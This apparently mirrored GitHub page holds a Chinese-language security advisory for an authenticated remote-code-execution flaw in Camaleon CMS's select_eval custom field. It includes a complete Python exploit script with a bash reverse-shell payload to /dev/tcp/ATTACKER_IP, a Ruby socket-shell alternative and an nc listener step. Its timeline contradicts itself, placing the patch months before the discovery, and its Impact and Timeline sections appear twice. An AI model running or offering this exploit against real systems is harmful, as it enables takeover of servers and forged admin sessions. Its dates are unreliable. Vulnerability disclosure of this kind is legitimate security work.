theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field
GitHub: theopaid/CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field
该仓库是 Camaleon CMS 已认证远程代码执行漏洞(CVE-2026-66748)的安全公告,披露了 `select_eval` 自定义字段通过 `instance_eval` 执行任意 Ruby 代码的漏洞细节及利用脚本。
Stars: 0 | Forks: 0
# 安全公告:Camaleon CMS - 通过 `select_eval` 自定义字段实现已认证 RCE
**分配的 CVE ID:** CVE-2026-66748
**产品:** Camaleon CMS (https://github.com/owen2345/camaleon-cms)
**受影响版本:** 2.1.1 – 2.9.1(引入于提交 415cbda6 2015-10-16;修复于提交 15882366 2026-03-29 / v2.9.2)
**严重性:** 高
**CVSS 4.0 评分:** 8.7
**CVSS 4.0 向量:** CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
**CWE:** CWE-94 (代码注入)
**研究员:** Theodosis Paidakis
**通知供应商:** 2026-06-21
**相关公告:** GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9(`label_eval` - 并行字段类型,相同根本原因,未分配 CVE)
## 摘要
`select_eval` 自定义字段类型将任意 Ruby 表达式存储在 `field.options[:command]` 中,并在渲染文章编辑页面时,通过 ERB 视图中的 `instance_eval` 执行它。在 v2.9.2 之前,任何拥有 `custom_fields` 管理权限的用户(通常授予 editor 角色账户)都可以创建此字段类型并实现服务器端 RCE。`select_eval` 字段会在每次渲染任何使用该字段组的文章页面时触发;其输出将成为下拉选项列表。该漏洞已在 v2.9.2 中修复。
## 受影响组件
**文件:** `app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb`
```
<%= select_tag "#{field_name}[#{field.slug}][values][]",
instance_eval(field.options[:command].to_s.strip),
class: "..." %>
```
`instance_eval` 会使用数据库记录中的原始字符串进行调用。ERB 绑定(这是一个完整的 Rails 视图上下文)没有沙箱机制,也没有对可访问的方法或常量进行编译时限制。
**文件:** `app/models/camaleon_cms/ability.rb`
任何拥有 `custom_fields` 权限的用户都可以创建 `select_eval` 字段:
```
%i[media comments themes widgets nav_menu plugins users settings custom_fields].each do |resource|
safe_can :manage, resource if @roles_manager[resource]
end
```
## 根本原因分析
`select_eval` 字段类型旨在让开发者通过存储在 CMS 数据库中的 Ruby 代码动态填充下拉选择框。通过 `instance_eval` 执行数据库列中的任意 Ruby 代码,等同于向任何能够写入该值的用户授予 shell 访问权限。其权限要求是 `custom_fields` —— 一种常规的内容管理权限 —— 而不是一个显式的特权位。
## 与先前公告的关系
此发现是已发布的 GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 的延伸,后者涵盖了 Camaleon CMS 中并行的 `label_eval` 字段类型。该公告是一批五个发现(GHSL-2024-182 至 GHSL-2024-186)的一部分;其中只有两个获得了 CVE 编号(CVE-2024-46986 和 CVE-2024-46987)。GHSL-2024-185 本身没有分配的 CVE。
`select_eval` 和 `label_eval` 具有相同的根本原因 —— 存储在数据库中的任意 Ruby 代码在 ERB 视图中通过 `instance_eval` 执行 —— 但在其他维度上完全不同:
| | `label_eval` (GHSL-2024-185) | `select_eval` (本报告) |
| -------------- | ---------------------------- | ---------------------------------- |
| 执行位置 | 任何表单中的字段标签 | 文章编辑页面中的 `select_tag` |
| 写入路径 | 自定义字段标签文本 | `field.options[:command]` 元数据行 |
本报告专门针对 `select_eval`。目前没有现有的 CVE 或公开公告记录这种特定的字段类型及其利用路径。
## 复现步骤
已在 v2.1.1–v2.9.1(外部可利用范围)上进行测试。仅需一个具有 `custom_fields` 权限的账户 —— 无需服务器访问权限。
**前提条件:** 任何设置了 `custom_fields` 管理位的账户 —— 在受影响版本中这是标准的 editor 角色权限。
**第 1 步。** 启动一个监听器:
```
nc -lnvp 4444
```
**第 2 步。** 运行脚本。修改 `BASE`、`ATTACKER_IP`、`TYPE_ID`、`POST_ID` 和凭据。
`TYPE_ID` - 在管理侧边栏 URL 中可见的文章类型 ID(例如 `/admin/post_type/2/posts`)。
`POST_ID` - 该类型下的任何文章 ID,可从文章列表的编辑链接中获取。
```
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # post type ID - from admin sidebar URL
POST_ID = 1 # any post under that type - from post list edit links
USERNAME = "editor" # any account with custom_fields manage permission
PASSWORD = "Editor1234!"
# Reverse shell。Thread.new 防止页面渲染挂起。
# Payload 字符串必须使用双引号,以便在 instance_eval 内部执行 #{ } 插值。
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# 无 bash 替代方案(纯 Ruby sockets,跨平台):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# 概念验证(非破坏性 - id/hostname 显示在编辑页面的 select 下拉菜单中):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# 触发条件:当编辑表单渲染 select_eval 字段时触发 instance_eval
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
```
## 影响
任何拥有 `custom_fields` 权限的账户(v2.9.2 之前)将获得:
- **任意 Ruby 执行**:在 Rails 进程中执行,具有 Web 服务器用户(`deploy`、`www-data`、`rails` 等)的权限
- **持久执行**:payload 会在每次渲染使用该字段组的每个文章页面时触发 —— 这不是一次性的漏洞利用
- **Session 伪造**:从 `config/secrets.yml` 读取 `secret_key_base` 允许伪造任何用户(包括管理员)的任意 session cookie
- **多站点影响**:在共享的 Camaleon 实例上,Rails 进程有权访问所有站点的数据
在 v2.9.2 之前,`custom_fields` 权限通常会授予 editor 角色的用户。攻击者如果攻破任何 editor 级别的账户,就可以实现完整的服务器端 RCE。
## 时间线
**2026-06-19** - 在对 v2.9.2 和 v2.9.1 进行源码分析时发现
**2026-06-21** - 通知供应商
**2026-03-29** - 补丁已发布 (v2.9.2, 提交 15882366)
## 影响
任何拥有 `custom_fields` 权限的账户(v2.9.2 之前)将获得:
- **任意 Ruby 执行**:在 Rails 进程中执行,具有 Web 服务器用户(`deploy`、`www-data`、`rails` 等)的权限
- **持久执行**:payload 会在每次渲染使用该字段组的每个文章页面时触发 —— 这不是一次性的漏洞利用
- **Session 伪造**:从 `config/secrets.yml` 读取 `secret_key_base` 允许伪造任何用户(包括管理员)的任意 session cookie
- **多站点影响**:在共享的 Camaleon 实例上,Rails 进程有权访问所有站点的数据
在 v2.9.2 之前,`custom_fields` 权限通常会授予 editor 角色的用户。攻击者如果攻破任何 editor 级别的账户,就可以实现完整的服务器端 RCE。
## 时间线
**2026-06-19** - 在对 v2.9.2 和 v2.9.1 进行源码分析时发现
**2026-06-21** - 通知供应商
**2026-03-29** - 补丁已发布 (v2.9.2, 提交 15882366)标签:Go语言工具, Rails, Ruby, Syscall, Web开发, 内容管理系统, 漏洞披露, 知识库, 编程工具, 远程代码执行, 逆向工具